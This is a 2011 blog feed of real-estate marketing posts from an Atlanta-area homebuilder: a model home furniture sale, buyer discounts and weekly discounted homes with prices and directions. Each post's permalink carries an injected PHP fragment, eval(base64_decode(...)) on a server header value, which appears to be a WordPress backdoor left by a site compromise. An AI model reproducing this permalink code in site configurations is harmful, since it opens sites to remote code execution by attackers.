Touchstone Homes » Touchstone Homes Corporate http://touchstonehomesblog.com Designed for Living, Built for Life Fri, 03 Feb 2012 15:58:22 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Model Home Redecorating Sale at Tributary http://touchstonehomesblog.com/2011/05/03/model-home-redecorating-sale-at-tributary/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/05/03/model-home-redecorating-sale-at-tributary/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 03 May 2011 12:49:54 +0000 tbennett http://touchstonehomesblog.com/?p=504

9132 Loxford St

Touchstone Homes announces a MODEL HOME REDECORATING SALE to at the Model Home located at 9132 Loxford Street, Douglasville located in the Tributary community.  We have 3-stories of home furnishings, artwork, window treatments, decorative accessories, and appliances.  Rooms included in the sale are:

Master Suite with Sitting Room
3 Secondary Bedrooms (youth & teen)
Media Room
Dining Room
Breakfast Room
Formal Office

Sale will be Friday May 6th from 9 am to 6 pm, and Saturday May 7th from 8 am to 1 pm (if necessary).  Cash only and please be prepared to take items with you when you purchase.  You can preview items for sale on the Tributary Facebook page by visiting www.facebook.com/touchstonehomesgeorgia and you will see a link to the photo album showcasing all the items for sale.

DIRECTIONS:  From downtown Atlanta take I-20 West to Riverside Parkway (Exit 46A).  Continue South on Riverside Parkway.  Turn left at the 4-way stop to continue on Riverside Parkway.  Cross over Thornton Road and the entrance to Riverbanks will be approximately 5 miles on the left, the Village at Tributary will be on the Right.  Follow signs to the Riverbanks model home.  Google Directions:  9132 Loxford Street, Lithia Springs, GA.  For more information, call 678-318-4083.  No reservations or previews.  First come.  First served.

]]> http://touchstonehomesblog.com/2011/05/03/model-home-redecorating-sale-at-tributary/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 “Like” Touchstone Homes on Facebook http://touchstonehomesblog.com/2011/03/17/like-touchstone-homes-on-facebook/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/03/17/like-touchstone-homes-on-facebook/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 17 Mar 2011 20:10:00 +0000 tbennett http://touchstonehomesblog.com/?p=499 As part of the Touchstone Homes Social Media Campaign, we use various forms of online social media to spread the word about incentives, special sales, Home of the Week and other announcements offered by the company.  For example, we have offered a dollar discount on Facebook – if you come into the Sales Center and mention that you saw a post on Facebook or Twitter, you will get the discount mentioned in the post!  How easy is that!?!?

All you have to do is go to the Touchstone Homes Facebook Page and “Like” the company.  Once you are added to that exclusive Group of Friends, you will be the first to know about special offers from the company on your new home.

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$2500 for Teachers

SUWANEE – Touchstone Homes continues to show its appreciation into 2011 for the everyday heroes that contribute to our communities by expanding its Community Leader Program.  Firefighters, police officers, EMTs, teachers, active/retired military, and public servants are eligible to receive $2,500 off the list price of any inventory home. But now, not only do these community leaders reap the benefits offered by Touchstone Homes, we have expanded the program to include Family Members as well.  If a Community Leader refers a family member to a Touchstone Community, they will receive a $500 referral bonus when their family member closes on their new home!

Police & Fire Discount

“We want to show our gratitude to the men and women in our communities that are out there everyday making a difference,” said Mike Zambri, Sales Manager of Touchstone Homes. “These Community Leaders and their families sacrifice everyday to help and defend others and Touchstone Homes wants to reward them for their actions.”

Military personnel are also being recognized and have the opportunity to benefit as first time or repeat homebuyers with the extension of the Military Tax Credit.  Those who served on official duty outside of the United States for 90 days or more are eligible for an extended homebuyer tax credit provided contract is written prior to April 30, 2011 and home must close by September 30, 2011.  In order to qualify, you must be a member of the uniformed services of the United States military, a member of the Foreign Service of the United States or an employee of the intelligence community.  Visit www.FederalHousingTaxCredit.com/service_mem.php for additional information or consult your tax advisor for details. The Military Tax Credit allows $8,000 for first time buyers and $6,500 for repeat buyers.

Military Discounts!

Touchstone Homes has been developing and building in some of Atlanta’s finest communities since 1994.  Over the years, as one of Atlanta’s premier new home builders, Touchstone Homes has built new homes in Barrow, Gwinnett, Forsyth, Fulton, Hall, Cobb, and Douglas Counties.  Touchstone Homes’ experienced new home builders and on-site professionals are well versed in assisting homebuyers throughout the entire home building process to ensure all your expectations are met.  From the time you select your home and make all of your selections in our Design Studio to the day you move into your new home-we’re with you every step of the way.

Touchstone Homes has received numerous Professionalism Awards from the Greater Atlanta Homebuilder’s Association, and the company has earned the coveted Certified Professional Home Builder designation.  Touchstone Homes has also received the national award of America’s Best Builder for 2007 by Builder Magazine and 2008 Management of Excellence Award from the Lee Evans Group.

Stay in touch with Touchstone Homes through its social media marketing and the company blog site www.TouchstoneHomesBlog.com .  Be the first to know by becoming a “fan” on Facebook, follow on Twitter, and view on YouTube.  For more information on Touchstone Homes call the Corporate Office at 770-945-5228 or visit www.touchstonehomes.com.

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Coupons = $$ Savings

In these tough economic times, people are looking for ways to save money.  Gas prices are rising.  Food prices are rising.  Just heard on the radio this morning that a 4% sales tax on groceries may be returning.  Our very own Operations Manager for Touchstone Homes is savings TONS of money for his family of 5 right here in Suwanee doing what he calls “Extreme Couponing”.  He started a Blog to show you how to do the same!  Click here to read his blog.

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Why Rent? BUY NOW!

Freaked by the housing market , more would-be home buyers are opting for rentals – driving rents up along the way. But it’s not just rising rents that new renters have to worry about. A handful of new costs could make renting less than the bargain it appears.

The average national vacancy rate for rentals fell 17% last year to 6.6%, according to Reis, Inc., which tracks rental performance data. And as renting has gotten more popular, prices have jumped. The average monthly rent, including studios, one- and two-bedroom apartments is now $986, based on Reis data. Before the recession, the average was just $930. And in some markets, it’s far worse: In New York, rents are up 9% on average in the last five years; in San Jose, they’re up 8%.

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The Berkeley at Hampton

Touchstone Homes “Home of the Week” for the week of February 14-20, 2011 is Hampton Golf Village lot 300 – The Berkeley.  This home is ready to close and welcomes it’s new family.  The Berkeley Plan on homesite 300 is a 5 bedroom, 4 bath home on a full daylight basement.  The home features a large family room with a gourmet kitchen and keeping room, separate dining room and large bedrooms upstairs.

Hampton Golf Village is located in northern Forsyth County just 10 minutes south of the North Georgia Premium Outlets in Dawsonville.  This lake community also features top notch amenities including swim, tennis, clubhouse, golf grille and exercise facilities, walking trails, sidewalks, playground and a kids treehouse.  Hampton Golf Village is located GA 400 North just past Settendown Road.  Follow the signs to the model home at 7090 Summit Ridge Chase, Cumming 30041.

This home is reduced from $399,721 to $339,900 for ONE WEEK ONLY.  Plus the Builder will pay up to $5,000 in Closing Costs with our Preferred Lender.  Contract must be written by Sunday, February 20, 2011 and cannot be combined with any other offer or incentives.  Home must close within 30 days of contract acceptance date.  Call Sharon Jones at 678.232.9151  for a VIP Tour of this home in Cumming, Georgia.

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The Washington, Lot 5J

Touchstone Homes would like to introduce a new “Home of the Week” program.  Every week one home will be chosen and discounted to SELL fast.  This home is ready to close and welcomes it’s new family.  This week’s Home of the Week is located in Sterling on the Lake.  The Washington Plan on homesite 5J is a 4 bedroom, 3 bath home on a full daylight basement.  The home features a large family room open to the kitchen, separate dining room and large bonus room upstairs.  The bonus room could be used as a playroom, media room or storage space – it is truly a flexible space on the second floor.  The home has one guest bedroom and bath downstairs as well. The home is Energy Star Certified, thus providing the Homeowner with a savings of up to 15% in annual energy costs.  To see the benefits of owning an Energy Star Certified home, please visit the web site for more information.

Sterling on the Lake is an award winning Master Planned Community by Newland Communities.  This lake community also features top notch amenities including swim, tennis, clubhouse with movie theater and exercise facilities, walking trails, sidewalks, playground and a kids treehouse.  Sterling on the Lake is located 985North exit 12 – Spout Springs Road.  Turn right and continue approximately 3 miles, entrance to Sterling on the Lake will be on the right.  Follow the signs to the model home at 7364 Bird Song Place.

This home is reduced from $299,900 to $284,900 for ONE WEEK ONLY.  Plus the Builder will pay up to $5,000 in Closing Costs with our Preferred Lender.  Contract must be written by Sunday, February 13, 2011 and cannot be combined with any other offer or incentives.  Call Jeff Barnes at 770-965-7816 for a VIP Tour of this home in Flowery Branch, Georgia.

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Open Family Room

The 2010 OBIE Award Winning Huntingdon model home at Village Grove is now available from Touchstone Homes.  The home is a two-story on a slab with two-car rear entry garage.  The secondary bedrooms are extremely spacious and well lit with natural lighting, as well with a 4th room downstairs that could be used for an office, playroom, library or even for a 4th bedroom.  The main floor consists of a separate dining room, kitchen, family room and breakfast that is very open with a large kitchen island at bar height, a great place for kids to grab breakfast or a snack after school.

The second level boasts an amazing Master Suite with lots of natural light, sitting area and an exceptional walk in closet off the Master Bath.  The Master Bath features double vanities along with a separate tub and shower.  There are two secondary bedrooms on the second level.

Master Suite

The Huntingdon model is Energy Star Certified by a third party inspection company.  The builder uses R-13 JM “Spider” Insulation which is a blown in insulation, creating less cracks and crevices, and a higher energy savings.  The builder also uses R-38 ceiling insulation in flat ceilings, Low-E Double Pane Insulated Windows, Low Energy Efficient Heater, programmable thermostat(s), sealed openings for pipes and wiring to prevent air infiltration and insulated exterior doors to increase the homes efficiency.  An Energy Star qualified home can save the homeowner as much as 15% in energy bills.  An Energy Star certified home is a healthier home by having sealed ducts to prevent unwanted dust, pollen, pests and fumes from entering the home.  The home features Z-Wave technology, for example, you can program certain lights to come on when you open the garage door through the garage remote.  You’ll never have to walk into a dark house again!!

Gourmet Kitchen

The home features James Hardie Concrete Siding with ColorPlus technology, with a 15 year Limited Warranty and is backed by a solid Builder Warranty.  The Huntingdon Home can be yours for $270,515 (furniture not included).

Village Grove is a Master Planned Community located in Suwanee, in the North Gwinnett School District.  Suwanee was voted in the Top 10 Best Places to Live by Money Magazine.  Village Grove features three distinct product types – townhomes, estate homes and cottage homes.  The community has a Junior Olympic Sized Swimming pool, lighted tennis courts, playground, open air pavillion great for cook outs or family gatherings alongside an expansive green park area.  The overall community consists of 30% park and open space.

Touchstone Homes has been building fine homes in Atlanta since 1994.  Touchstone Homes is the recipient of many Professionalism Awards, management awards and is a Certified Professional Homebuilder through the Homebuilder’s Association.  Stop by and visit this fully decorated model home, decorated in the latest trends by CDS Interior Design of Suwanee.  Model Home is open 5 days a week.  For information on this home , please call 770-831-6883 or visit our web site www.touchstonehomes.com.

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To read more, click here.

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Choose from an array of:

  • Office & Home Furniture Pieces
  • Wall Art
  • Home Appliances
  • Lighting
  • Plumbing Fixtures, bath & kitchen
  • Decorative Accessories
  • and more!!

Items priced to sell and we hope it won’t last long!  So get there early & get first dibs!  For information or directions, call 678-318-4083.

The sale location is 4320 Suwanee Dam Road, at the entrance to Village Grove subdivision in the commercial area.  Upstairs from Salon Greco.  Take 85 north to Lawrenceville-Suwanee Road, turn left off the exit and follow approximately 5 miles.  Cross over Peachtree Industrial Boulevard, Village Grove will be on the left.  Design Studio building will be immediately on the left when you turn into the community.

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